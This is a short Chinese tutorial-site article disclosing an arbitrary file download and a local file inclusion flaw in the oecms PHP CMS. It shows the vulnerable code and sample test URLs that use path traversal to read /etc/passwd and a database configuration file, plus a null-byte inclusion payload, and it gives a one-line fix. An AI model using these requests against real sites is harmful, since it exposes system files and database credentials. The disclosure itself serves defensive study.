网站地图    收藏   

主页 > 后端 > 网站安全 >

oecms多处漏洞及修补方法 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 14:47 作者: 阅读:

[导读] 任意文件下载漏洞文件:downurl.php漏洞代码:?php$url = isset($_GET[#39;url#39;]) ? trim($_GET[#39;url#39;]) : ;header(Content-Type: application/force-download);header(Content-Dispo......

任意文件下载
漏洞文件:downurl.php
漏洞代码:
<?php
$url  = isset($_GET['url']) ? trim($_GET['url']) : "";
header("Content-Type: application/force-download");
header("Content-Disposition: attachment; filename=".basename($url));
readfile($url);
?>
$url没有任何过滤直接传入下载导致安全隐患!
测试方法:
读取Linux系统 passwd 文件:http://www.phpcoo.com/downurl.php?url=../../../../../../../../etc/passwd
读取网站数据库配置文件:http://www.phpcoo.com/downurl.php?url=source/conf/db.inc.php
本地文件包含漏洞:
漏洞文件:普遍都有
漏洞部分代码:
$cacheid = md5($_SERVER["REQUEST_URI"]);

if(!$tpl->isCached(INDEX_TEMPLATE."product_".$modd.".".$tplext,$cacheid)){

require_once './source/module/app.php';

require_once './source/widget/product_'.$modd.'.php';

}
$modd变量可以控制直接接受用户传递的参数,但是没有深入过滤导致本地文件包含!
测试方法:
http://phpcoo.com/{path}?mod=../../1.php%00 即可看到require_once错误显示,只要绕过即可本地包含成功!
修补方法:
加强过滤,对用户传递的任何参数都要进行严格过滤!

 
就先发这几个!!

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论